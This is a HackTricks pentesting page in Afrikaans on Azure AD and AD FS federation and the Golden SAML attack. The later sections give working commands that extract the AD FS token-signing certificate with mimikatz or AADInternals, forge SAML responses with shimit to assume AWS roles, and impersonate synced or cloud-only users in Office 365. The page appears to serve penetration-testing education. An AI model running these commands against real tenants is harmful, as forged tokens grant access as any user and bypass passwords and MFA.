# Az - Federation

{{#include ../../../banners/hacktricks-training.md}}

## Basiese Inligting

[Van die dokumentasie:](https://learn.microsoft.com/en-us/entra/identity/hybrid/connect/whatis-fed)

>**Federasie** is 'n versameling van **domeine** wat **vertroue** gevestig het. Die vlak van vertroue kan verskil, maar sluit tipies **verifikasie** in en sluit byna altyd **autorisering** in. 'n Tipiese federasie kan 'n **aantal organisasies** insluit wat **vertroue** gevestig het vir **gedeelde toegang** tot 'n stel hulpbronne.
>Jy kan jou **on-premises** omgewing **met Azure AD** federate en hierdie federasie gebruik vir verifikasie en autorisering. Hierdie aanmeldmetode verseker dat alle gebruiker **verifikasie plaasvind op-premises**. Hierdie metode stel administrateurs in staat om meer streng vlakke van toegangbeheer te implementeer. Federasie met **AD FS** en PingFederate is beskikbaar.

<figure><img src="../../../../images/image (154).png" alt=""><figcaption></figcaption></figure>

Basies, in Federasie, vind alle **verifikasie** plaas in die **on-prem** omgewing en die gebruiker ervaar SSO oor al die vertroude omgewings. Daarom kan gebruikers **toegang** tot **cloud** toepassings verkry deur hul **on-prem kredensiale** te gebruik.

**Security Assertion Markup Language (SAML)** word gebruik vir **uitruiling** van alle verifikasie en autorisering **inligting** tussen die verskaffers.

In enige federasie-opstelling is daar drie partye:

- Gebruiker of Kliënt
- Identiteitsverskaffer (IdP)
- Diensverskaffer (SP)

<figure><img src="../../../../images/image (121).png" alt="https://www.cyberark.com/resources/threat-research-blog/golden-saml-newly-discovered-attack-technique-forges-authentication-to-cloud-apps"><figcaption>https://www.cyberark.com/resources/threat-research-blog/golden-saml-newly-discovered-attack-technique-forges-authentication-to-cloud-apps</figcaption></figure>

1. Aanvanklik word 'n toepassing (Diensverskaffer of SP, soos AWS-konsol of vSphere-webkliënt) deur 'n gebruiker toegang verkry. Hierdie stap kan oorgeslaan word, wat die kliënt direk na die IdP (Identiteitsverskaffer) lei, afhangende van die spesifieke implementering.
2. Vervolgens identifiseer die SP die toepaslike IdP (bv. AD FS, Okta) vir gebruiker verifikasie. Dit stel dan 'n SAML (Security Assertion Markup Language) AuthnRequest op en herlei die kliënt na die gekose IdP.
3. Die IdP neem oor, wat die gebruiker verifieer. Na verifikasie word 'n SAMLResponse deur die IdP geformuleer en aan die SP deur die gebruiker gestuur.
4. Laastens evalueer die SP die SAMLResponse. As dit suksesvol geverifieer word, wat 'n vertrouensverhouding met die IdP impliseer, word die gebruiker toegang gegee. Dit merk die voltooiing van die aanmeldproses, wat die gebruiker in staat stel om die diens te gebruik.

**As jy meer wil leer oor SAML-verifikasie en algemene aanvalle, gaan na:**

{{#ref}}
https://book.hacktricks.wiki/en/pentesting-web/saml-attacks/index.html
{{#endref}}

## Pivoting

- AD FS is 'n eise-gebaseerde identiteitsmodel.
- "..eise is eenvoudig stellings (byvoorbeeld, naam, identiteit, groep), gemaak oor gebruikers, wat hoofsaaklik gebruik word om toegang tot eise-gebaseerde toepassings wat enige plek op die internet geleë is, te autoriseer."
- Eise vir 'n gebruiker word binne die SAML tokens geskryf en word dan onderteken om vertroulikheid deur die IdP te bied.
- 'n Gebruiker word geïdentifiseer deur ImmutableID. Dit is wêreldwyd uniek en word in Azure AD gestoor.
- Die ImmutableID word op-premises gestoor as ms-DS-ConsistencyGuid vir die gebruiker en/of kan afgelei word van die GUID van die gebruiker.
- Meer inligting in [https://learn.microsoft.com/en-us/windows-server/identity/ad-fs/technical-reference/the-role-of-claims](https://learn.microsoft.com/en-us/windows-server/identity/ad-fs/technical-reference/the-role-of-claims)

**Goue SAML-aanval:**

- In ADFS, word die SAML Response deur 'n token-ondertekeningssertifikaat onderteken.
- As die sertifikaat gecompromitteer is, is dit moontlik om as ENIGE gebruiker wat met Azure AD gesinkroniseer is, te verifieer!
- Net soos ons PTA misbruik, sal 'n wagwoordverandering vir 'n gebruiker of MFA geen effek hê nie omdat ons die verifikasieantwoord vervals.
- Die sertifikaat kan van die AD FS-bediener met DA voorregte onttrek word en kan dan van enige internetverbonden masjien gebruik word.
- Meer inligting in [https://www.cyberark.com/resources/threat-research-blog/golden-saml-newly-discovered-attack-technique-forges-authentication-to-cloud-apps](https://www.cyberark.com/resources/threat-research-blog/golden-saml-newly-discovered-attack-technique-forges-authentication-to-cloud-apps)

### Goue SAML

Die proses waar 'n **Identiteitsverskaffer (IdP)** 'n **SAMLResponse** produseer om gebruiker aanmelding te autoriseer, is van kardinale belang. Afhangende van die spesifieke implementering van die IdP, kan die **antwoord** **onderteken** of **geënkripteer** word met die **IdP se privaat sleutel**. Hierdie prosedure stel die **Diensverskaffer (SP)** in staat om die egtheid van die SAMLResponse te bevestig, wat verseker dat dit werklik deur 'n vertroude IdP uitgereik is.

'n Parallel kan getrek word met die [goue kaart aanval](https://book.hacktricks.wiki/en/windows-hardening/active-directory-methodology/index.html#golden-ticket), waar die sleutel wat die gebruiker se identiteit en regte verifieer (KRBTGT vir goue kaarte, token-ondertekenings privaat sleutel vir goue SAML) gemanipuleer kan word om 'n **verifikasie objek** (TGT of SAMLResponse) te vervals. Dit stel in staat om enige gebruiker na te boots, wat ongeautoriseerde toegang tot die SP verleen.

Goue SAMLs bied sekere voordele:

- Hulle kan **afgele** word, sonder die behoefte om deel van die domein of federasie in kwestie te wees.
- Hulle bly effektief selfs met **Twee-Faktor Verifikasie (2FA)** geaktiveer.
- Die token-ondertekenings **privaat sleutel hernu nie outomaties** nie.
- **Die verandering van 'n gebruiker se wagwoord maak nie 'n reeds gegenereerde SAML ongeldig nie.**

#### AWS + AD FS + Goue SAML

[Active Directory Federation Services (AD FS)](<https://docs.microsoft.com/en-us/previous-versions/windows/server-2008/bb897402(v=msdn.10)>) is 'n Microsoft diens wat die **veilige uitruiling van identiteitsinligting** tussen vertroude besigheidsvennote (federasie) fasiliteer. Dit stel in wese 'n domeindiens in staat om gebruikersidentiteite met ander diensverskaffers binne 'n federasie te deel.

Met AWS wat die gecompromitteerde domein vertrou (in 'n federasie), kan hierdie kwesbaarheid benut word om potensieel **enige regte in die AWS-omgewing te verkry**. Die aanval vereis die **privaat sleutel wat gebruik word om die SAML-objekte te onderteken**, soortgelyk aan die behoefte aan die KRBTGT in 'n goue kaart aanval. Toegang tot die AD FS-gebruikersrekening is voldoende om hierdie privaat sleutel te verkry.

Die vereistes om 'n goue SAML-aanval uit te voer sluit in:

- **Token-ondertekenings privaat sleutel**
- **IdP publieke sertifikaat**
- **IdP naam**
- **Rolnaam (rol om aan te neem)**
- Domein\gebruikersnaam
- Rol sessienaam in AWS
- Amazon rekening ID

_Slegs die items in vet is verpligtend. Die ander kan na wens ingevul word._

Om die **privaat sleutel** te verkry, is toegang tot die **AD FS-gebruikersrekening** nodig. Van daar kan die privaat sleutel **uit die persoonlike winkel onttrek** word met behulp van gereedskap soos [mimikatz](https://github.com/gentilkiwi/mimikatz). Om die ander vereiste inligting te versamel, kan jy die Microsoft.Adfs.Powershell snapin soos volg gebruik, terwyl jy seker maak jy is aangemeld as die ADFS-gebruiker:
```bash
# From an "AD FS" session
# After having exported the key with mimikatz

# ADFS Public Certificate
[System.Convert]::ToBase64String($cer.rawdata)

# IdP Name
(Get-ADFSProperties).Identifier.AbsoluteUri

# Role Name
(Get-ADFSRelyingPartyTrust).IssuanceTransformRule
```
Met al die inligting is dit moontlik om 'n geldige SAMLResponse te vergeet as die gebruiker wat jy wil naboots met behulp van [**shimit**](https://github.com/cyberark/shimit)**:**
```bash
# Apply session for AWS cli
python .\shimit.py -idp http://adfs.lab.local/adfs/services/trust -pk key_file -c cert_file -u domain\admin -n admin@domain.com -r ADFS-admin -r ADFS-monitor -id 123456789012
# idp - Identity Provider URL e.g. http://server.domain.com/adfs/services/trust
# pk - Private key file full path (pem format)
# c - Certificate file full path (pem format)
# u - User and domain name e.g. domain\username (use \ or quotes in *nix)
# n - Session name in AWS
# r - Desired roles in AWS. Supports Multiple roles, the first one specified will be assumed.
# id - AWS account id e.g. 123456789012

# Save SAMLResponse to file
python .\shimit.py -idp http://adfs.lab.local/adfs/services/trust -pk key_file -c cert_file -u domain\admin -n admin@domain.com -r ADFS-admin -r ADFS-monitor -id 123456789012 -o saml_response.xml
```
<figure><img src="../../../../images/image (128).png" alt="https://www.cyberark.com/resources/threat-research-blog/golden-saml-newly-discovered-attack-technique-forges-authentication-to-cloud-apps"><figcaption>https://www.cyberark.com/resources/threat-research-blog/golden-saml-newly-discovered-attack-technique-forges-authentication-to-cloud-apps</figcaption></figure>

### Op-prem -> wolk
```bash
# With a domain user you can get the ImmutableID of the target user
[System.Convert]::ToBase64String((Get-ADUser -Identity <username> | select -ExpandProperty ObjectGUID).tobytearray())

# On AD FS server execute as administrator
Get-AdfsProperties | select identifier

# When setting up the AD FS using Azure AD Connect, there is a difference between IssueURI on ADFS server and Azure AD.
# You need to use the one from AzureAD.
# Therefore, check the IssuerURI from Azure AD too (Use MSOL module and need GA privs)
Get-MsolDomainFederationSettings -DomainName deffin.com | select IssuerUri

# Extract the ADFS token signing certificate from the ADFS server using AADInternals
Export-AADIntADFSSigningCertificate

# Impersonate a user to to access cloud apps
Open-AADIntOffice365Portal -ImmutableID v1pOC7Pz8kaT6JWtThJKRQ== -Issuer http://deffin.com/adfs/services/trust -PfxFileName C:\users\adfsadmin\Documents\ADFSSigningCertificate.pfx -Verbose
```
Dit is ook moontlik om ImmutableID van slegs wolk gebruikers te skep en hulle na te boots.
```bash
# Create a realistic ImmutableID and set it for a cloud only user
[System.Convert]::ToBase64String((New-Guid).tobytearray())
Set-AADIntAzureADObject -CloudAnchor "User_19e466c5-d938-1293-5967-c39488bca87e" -SourceAnchor "aodilmsic30fugCUgHxsnK=="

# Extract the ADFS token signing certificate from the ADFS server using AADInternals
Export-AADIntADFSSigningCertificate

# Impersonate the user
Open-AADIntOffice365Portal -ImmutableID "aodilmsic30fugCUgHxsnK==" -Issuer http://deffin.com/adfs/services/trust -PfxFileName C:\users\adfsadmin\Desktop\ADFSSigningCertificate.pfx -Verbose
```
## Verwysings

- [https://learn.microsoft.com/en-us/azure/active-directory/hybrid/whatis-fed](https://learn.microsoft.com/en-us/azure/active-directory/hybrid/whatis-fed)
- [https://www.cyberark.com/resources/threat-research-blog/golden-saml-newly-discovered-attack-technique-forges-authentication-to-cloud-apps](https://www.cyberark.com/resources/threat-research-blog/golden-saml-newly-discovered-attack-technique-forges-authentication-to-cloud-apps)

{{#include ../../../banners/hacktricks-training.md}}
